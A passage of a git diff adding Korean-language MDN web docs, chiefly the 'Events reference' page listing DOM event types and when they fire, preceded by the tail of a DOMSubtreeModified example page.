+<h3 id="Example" name="Example">예제</h3>
+
+<p>아래 코드는 마지막으로 DOM 이 변경된 시간을 페이지의 title 에 표시합니다.</p>
+
+<div class="warning">해당 이벤트 핸들러 안에서 DOM 을 변경할 경우 무한 루프에 빠지기 쉬우므로 매우 신중해야 합니다.</div>
+
+<pre class="brush: js">document.body.addEventListener('DOMSubtreeModified', function () {
+  document.title = 'DOM Changed at ' + new Date();
+}, false);
+</pre>
diff --git a/files/ko/web/events/index.html b/files/ko/web/events/index.html
new file mode 100644
index 0000000000..0d4193893f
--- /dev/null
+++ b/files/ko/web/events/index.html
@@ -0,0 +1,3114 @@
+---
+title: 이벤트 참조
+slug: Web/Events
+tags:
+  - Event
+  - Overview
+  - Reference
+translation_of: Web/Events
+---
+<p>DOM 이벤트는 발생한 흥미로운 것을 코드에 알리기 위해 전달됩니다. 각 이벤트는 {{DOMxRef("Event")}} 인터페이스를 기반으로한 객체에 의해 표현되며 발생한 것에 대한 부가적인 정보를 얻는데 사용되는 추가적인 커스텀 필드 또는 함수를 가질수도 있습니다. 이벤트는 렌더링 모델에서 기본적인 사용자 인터렉션부터 발생한 것에대한 자동 알림까지 모든 것을 나타낼 수 있습니다.</p>
+
+<p>이 글은 전달될 수 있는 이벤트의 목록을 제공합니다. 일부는 공식 명세에 정의된 표준 이벤트이며, 다른 일부는 특정 브라우저에서 내부적으로 사용되는 이벤트입니다. 예로, Mozilla 특정 이벤트는 <a href="https://developer.mozilla.org/ko/docs/Mozilla/%EC%95%A0%EB%93%9C%EC%98%A8%EB%93%A4">부가 기능</a>이 브라우저와 상호작용하기 위해 나열되었습니다.</p>
+
+<h2 id="가장_일반적인_카테고리">가장 일반적인 카테고리</h2>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="리소스_이벤트">리소스 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("cached")}}</td>
+   <td>매니페스트에 나열된 리소스가 다운로드되었고, 애플리케이션이 캐시될 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>리소스 로드가 실패했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("abort")}}</td>
+   <td>리소스 로딩이 중단되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("load")}}</td>
+   <td>리소스와 그 의존 리소스의 로딩이 끝났을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("beforeunload")}}</td>
+   <td>window, document 및 그 리소스가 언로드되려고 할 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("unload")}}</td>
+   <td>document 또는 의존 리소스가 언로드될 때.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="네트워크_이벤트">네트워크 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("online")}}</td>
+   <td>브라우저가 네트워크 접근을 얻었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("offline")}}</td>
+   <td>브라우저가 네트워크 접근을 잃었을 때.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="포커스_이벤트">포커스 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("focus")}}</td>
+   <td>엘리먼트가 포커스를 받았을 때(버블링하지 않음).</td>
+  </tr>
+  <tr>
+   <td>{{Event("blur")}}</td>
+   <td>엘리먼트가 포커스를 잃었을 때(버블링하지 않음).</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="웹소켓_이벤트">웹소켓 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></td>
+   <td>웹소켓 연결이 수립되었을 때.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code></td>
+   <td>웹소켓을 통해 메시지를 받았을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>웹소켓 연결이 어떤 문제로 닫혔을 때(예로, 일부 데이터가 전송되지 못했을 때).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code></td>
+   <td>웹소켓 연결이 닫혔을 때.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="세션_기록_이벤트">세션 기록 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("pagehide")}}</td>
+   <td>세션 기록 항목이 사라지고 있을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pageshow")}}</td>
+   <td>세션 기록 항목이 들어오고 있을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("popstate")}}</td>
+   <td>세션 기록 항목이 이동하고 있을 때(특정 경우에서).</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="CSS_애니메이션_이벤트">CSS 애니메이션 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("animationstart")}}</td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_animations">CSS 애니메이션</a>이 시작되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("animationend")}}</td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_animations">CSS 애니메이션</a>이 완료되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("animationiteration")}}</td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_animations">CSS 애니메이션</a>이 반복되었을 때.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="CSS_전이_이벤트">CSS 전이 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("transitionstart")}}</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS 전이</a>가 실제로 시작되었을 때(딜레이 후에 실행되었을 때).</td>
+  </tr>
+  <tr>
+   <td>{{Event("transitioncancel")}}</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS 전이</a>가 취소되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("transitionend")}}</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS 전이</a>가 완료되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("transitionrun")}}</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS 전이</a>가 실행을 시작했을 때(딜레이 시작전에 실행되었을 때).</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="폼_이벤트">폼 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Event Name</th>
+   <th scope="col">Fired When</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("reset")}}</td>
+   <td>리셋 버튼이 눌렸을 때</td>
+  </tr>
+  <tr>
+   <td>{{Event("submit")}}</td>
+   <td>제출 버튼이 눌렸을 때</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="Printing_Events">Printing Events</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("beforeprint")}}</td>
+   <td>프린트 대화상자가 열렸을 때</td>
+  </tr>
+  <tr>
+   <td>{{Event("afterprint")}}</td>
+   <td>프린트 대화상자가 닫혔을 때</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="텍스트_작성_이벤트">텍스트 작성 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("compositionstart")}}</td>
+   <td>텍스트 입력 통로가 준비되었을 때(키보드 입력을 위한 키 다운과 유사하지만, 음성 인식과 같은 다른 입력과도 동작합니다).</td>
+  </tr>
+  <tr>
+   <td>{{Event("compositionupdate")}}</td>
+   <td>작성될 텍스트 통로에 문자가 추가되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("compositionend")}}</td>
+   <td>텍스트 입력 통로가 완료되었거나 취소되었을 때.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="뷰_이벤트">뷰 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("fullscreenchange")}}</td>
+   <td>엘리먼트가 전체화면 모드로 변경되었거나 일반 모드로 돌아왔을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("fullscreenerror")}}</td>
+   <td>기술적인 이유나 권한 거절을 이유로 전체화면 모드 전환이 불가능했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("resize")}}</td>
+   <td>다큐먼트 뷰가 리사이즈되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("scroll")}}</td>
+   <td>다큐먼트 뷰나 엘리먼트가 스크롤되었을 때.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="클립보드_이벤트">클립보드 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("cut")}}</td>
+   <td>선택이 잘라내어진 후 클립보드로 복사되었을 때</td>
+  </tr>
+  <tr>
+   <td>{{Event("copy")}}</td>
+   <td>선택이 클립보드로 복사되었을 때</td>
+  </tr>
+  <tr>
+   <td>{{Event("paste")}}</td>
+   <td>클립보드의 항목이 붙여너어졌을 때</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="키보드_이벤트">키보드 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("keydown")}}</td>
+   <td>키가 눌렸을 때</td>
+  </tr>
+  <tr>
+   <td>{{Event("keypress")}}</td>
+   <td>쉬프트, Fn, CapsLock 을 제외한 키가 눌린 상태일 때(연속적으로 실행됨.).</td>
+  </tr>
+  <tr>
+   <td>{{Event("keyup")}}</td>
+   <td>키 누름이 해제될 때</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="마우스_이벤트">마우스 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("mouseenter")}}</td>
+   <td>포인팅 장치가 리스너가 등록된 엘리먼트 위로 이동했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseover")}}</td>
+   <td>포인팅 장치가 리스너가 등록된 엘리먼트나 그 자식 엘리먼트의 위로 이동했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mousemove")}}</td>
+   <td>포인팅 장치가 엘리먼트 위에서 이동했을 때(마우스가 이동하는동안 계속 실행됨.)</td>
+  </tr>
+  <tr>
+   <td>{{Event("mousedown")}}</td>
+   <td>포인팅 장치 버튼이 엘리먼트 위에서 눌렸을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseup")}}</td>
+   <td>포인팅 장치 버튼이 엘리먼트 위에서 놓였을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("auxclick")}}</td>
+   <td>포인팅 장치 버튼(주가 아닌 버튼)이 엘리먼트에서 눌렸다가 놓였을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("click")}}</td>
+   <td>포인팅 장치 버튼(모든 버튼; 주 버튼만 해당될 예정)이 엘리먼트에서 눌렸다가 놓였을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dblclick")}}</td>
+   <td>포인팅 장치 버튼이 엘리먼트에서 두 번 클릭되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("contextmenu")}}</td>
+   <td>마우스의 오른쪽 버튼이 클릭되었을 때(컨텍스트 메뉴가 표시되기 전).</td>
+  </tr>
+  <tr>
+   <td>{{Event("wheel")}}</td>
+   <td>포인팅 장치의 휠 버튼이 어떤 방향이든 회전되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseleave")}}</td>
+   <td>포인팅 장치가 리스너가 등록된 엘리먼트 밖으로 이동했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseout")}}</td>
+   <td>포인팅 장치가 리스너가 등록된 엘리먼트 또는 그 자식 엘리먼트의 밖으로 이동했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("select")}}</td>
+   <td>어떤 텍스트가 선택되고 있을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerlockchange")}}</td>
+   <td>포인터가 잠겼거나 해제되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerlockerror")}}</td>
+   <td>기술적인 이유나 권한 거절을 이유로 포인터 잠금이 불가했을 때.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="드래그_앤_드랍_이벤트">드래그 앤 드랍 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("dragstart")}}</td>
+   <td>사용자가 엘리먼트나 텍스트 선택을 드래그하기 시작할 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("drag")}}</td>
+   <td>엘리먼트나 텍스트 선택이 드래그되고 있을 때(350ms 마다 연속적으로 실행됨).</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragend")}}</td>
+   <td>드래그 작업이 끝났을 때(마우스 버튼을 놓거나 escape 키를 눌러서).</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragenter")}}</td>
+   <td>드래그된 엘리먼트나 텍스트 선택이 유효한 드랍 대상에 들어왔을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragover")}}</td>
+   <td>엘리먼트나 텍스트 선택이 유효한 드랍 대상위로 드래그되었을 때(350ms 마다 연속적으로 실행됨.).</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragleave")}}</td>
+   <td>드래그된 엘리먼트나 텍스트 선택이 유효한 드랍 대상에서 나갈 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("drop")}}</td>
+   <td>엘리먼트가 유효한 드랍 대상에 드랍되었을 때.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="미디어_이벤트">미디어 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("durationchange")}}</td>
+   <td><code>duration</code> 속성이 업데이트되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadedmetadata")}}</td>
+   <td>메타데이터가 로드되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadeddata")}}</td>
+   <td>미디어의 첫 번째 프레임이 로딩을 마쳤을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("canplay")}}</td>
+   <td>브라우저가 미디어를 실행할 수 있지만, 컨텐츠의 버퍼링없이 중단되지 않고 미디어를 끝까지 재생하기엔 로딩된 데이터가 충분하지않다고 측정했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("canplaythrough")}}</td>
+   <td>브라우저가 컨텐츠 버퍼링 중단 없이 미디어를 끝까지 재생할 수 있다고 측정했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("ended")}}</td>
+   <td>미디어의 끝에 도달해 재생이 멈추었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("emptied")}}</td>
+   <td>미디어가 비었을 때. 예로, 이 이벤트는 미디어가 이미 로딩되었고(또는 부분적으로 로딩되었고), <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> 메소드가 리로드를 위해 호출되었을때 전송됩니다.</td>
+  </tr>
+  <tr>
+   <td>{{Event("stalled")}}</td>
+   <td>유저 애이전트가 미디어 데이터 페치를 시도했지만, 데이터가 예상치 못하게 전송되지 않을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("suspend")}}</td>
+   <td>미디어 데이터 로딩이 유예되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("play")}}</td>
+   <td>재생이 시작되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("playing")}}</td>
+   <td>일시정지나 데이터 부족으로 딜레이된 후로부터 재생할 준비가 되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pause")}}</td>
+   <td>재생이 일시정지 되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("waiting")}}</td>
+   <td>일시적인 데이터 부족으로 재생이 중지되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("seeking")}}</td>
+   <td>찾기 작업이 시작되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("seeked")}}</td>
+   <td>찾기 작업이 완료되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("ratechange")}}</td>
+   <td>재생률이 변경되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("timeupdate")}}</td>
+   <td><code>currentTime</code> 속성으로 나타나는 시간이 업데이트되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("volumechange")}}</td>
+   <td>볼륨이 변경되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("complete")}}</td>
+   <td>{{DOMxRef("OfflineAudioContext")}} 의 렌더링이 종료되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("audioprocess")}}</td>
+   <td>{{DOMxRef("ScriptProcessorNode")}} 의 입력 버퍼의 처리가 준비되었을 때.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="진행_이벤트">진행 이벤트</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("loadstart")}}</td>
+   <td>진행이 시작되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("progress")}}</td>
+   <td>진행중일 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>진행이 실패했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("timeout")}}</td>
+   <td>프리셋 타임 만료로 진행이 종료되었을 때.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code></td>
+   <td>진행이 종료되었을 때(에러가 아닌 이유).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code></td>
+   <td>진행이 성공했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadend")}}</td>
+   <td>진행이 멈추었을 때("error", "abort" 또는 "load" 가 디스패치된 후).</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="저장소_이벤트">저장소 이벤트</h3>
+
+<p>{{Event("change")}} ({{anch("Non-standard events")}} 를 보세요)<br>
+ {{Event("storage")}}</p>
+
+<h3 id="업데이트_이벤트">업데이트 이벤트</h3>
+
+<p>{{Event("checking")}}<br>
+ {{Event("downloading")}}<br>
+ {{Event("error")}}<br>
+ {{Event("noupdate")}}<br>
+ {{Event("obsolete")}}<br>
+ {{Event("updateready")}}</p>
+
+<h3 id="값_변경_이벤트">값 변경 이벤트</h3>
+
+<p>{{Event("broadcast")}}<br>
+ {{Event("CheckboxStateChange")}}<br>
+ {{Event("hashchange")}}<br>
+ {{Event("input")}}<br>
+ {{Event("RadioStateChange")}}<br>
+ {{Event("readystatechange")}}<br>
+ {{Event("ValueChange")}}</p>
+
+<h3 id="분류되지_않은_이벤트">분류되지 않은 이벤트</h3>
+
+<p>{{Event("invalid")}}<br>
+ {{Event("localized")}}<br>
+ <code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code><br>
+ {{Event("show")}}</p>
+
+<h2 id="덜_일반적이고_비표준인_이벤트">덜 일반적이고 비표준인 이벤트</h2>
+
+<h3 id="Abortable_페치_이벤트">Abortable 페치 이벤트</h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("abort_(dom_abort_api)", "abort")}}</td>
+   <td>DOM 요청이 중단되었을 때. 예, {{DOMxRef("AbortController.abort()")}} 사용.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="WebVR_이벤트">WebVR 이벤트</h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("vrdisplayconnect")}}</td>
+   <td>호환되는 {{DOMxRef("VRDisplay")}} 가 컴퓨터에 연결되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplaydisconnect")}}</td>
+   <td>호환되는 {{DOMxRef("VRDisplay")}} 가 컴퓨터로부터 연결해제되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplayactivate")}}</td>
+   <td>VR 디스플레이가 표시될 수 있을 때. 예, HMD 가 움직여 대기모드에서 나오거나, 착용에의해 준비될 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplaydeactivate")}}</td>
+   <td>{{DOMxRef("VRDisplay")}} 가 더 이상 표시될 수 없을 때. 예, 비활성 기간으로 인해 HMD 가 대기 또는 슬립모드로 빠졌을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplayblur")}}</td>
+   <td>브라우저, OS 또는 VR 장치로부터 어떤 이유에 의해 {{DOMxRef("VRDisplay")}} 로의 프리젠테이션이 중단되었을 때. 예, 사용자가 시스템 메뉴나 브라우저와 인터렉팅하는동안 추적이나 경험 손실을 방지.</td>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplayfocus")}}</td>
+   <td>흐릿해진 이후에 {{DOMxRef("VRDisplay")}} 로의 프리젠테이션이 재개될 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplaypresentchange")}}</td>
+   <td>{{DOMxRef("VRDisplay")}} 의 프리젠팅 상태가 변경할 때. 예, 프리젠팅에서 프리젠팅이 아닌 것이 될 때, 또는 그 반대.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="SVG_이벤트">SVG 이벤트</h3>
+
+<p>{{Event("SVGAbort")}}<br>
+ {{Event("SVGError")}}<br>
+ {{Event("SVGLoad")}}<br>
+ {{Event("SVGResize")}}<br>
+ {{Event("SVGScroll")}}<br>
+ {{Event("SVGUnload")}}<br>
+ {{Event("SVGZoom")}}</p>
+
+<h3 id="데이터베이스_이벤트">데이터베이스 이벤트</h3>
+
+<p><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code><br>
+ {{Event("error")}} (<a href="/en-US/docs/Web/Reference/Events/error">link</a>)<br>
+ <code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></p>
+
+<h3 id="알림_이벤트">알림 이벤트</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></p>
+
+<h3 id="CSS_이벤트">CSS 이벤트</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a></p>
+
+<h3 id="Script_이벤트">Script 이벤트</h3>
+
+<p>{{Event("afterscriptexecute")}}<br>
+ {{Event("beforescriptexecute")}}</p>
+
+<h3 id="메뉴_이벤트">메뉴 이벤트</h3>
+
+<p>{{Event("DOMMenuItemActive")}}<br>
+ {{Event("DOMMenuItemInactive")}}</p>
+
+<h3 id="Window_이벤트">Window 이벤트</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/close_event">close</a></p>
+
+<h3 id="Document_이벤트">Document 이벤트</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a></p>
+
+<h3 id="팝업_이벤트">팝업 이벤트</h3>
+
+<p>{{Event("popuphidden")}}<br>
+ {{Event("popuphiding")}}<br>
+ {{Event("popupshowing")}}<br>
+ {{Event("popupshown")}}<br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></p>
+
+<h3 id="탭_이벤트">탭 이벤트</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a><br>
+ {{Event("visibilitychange")}}</p>
+
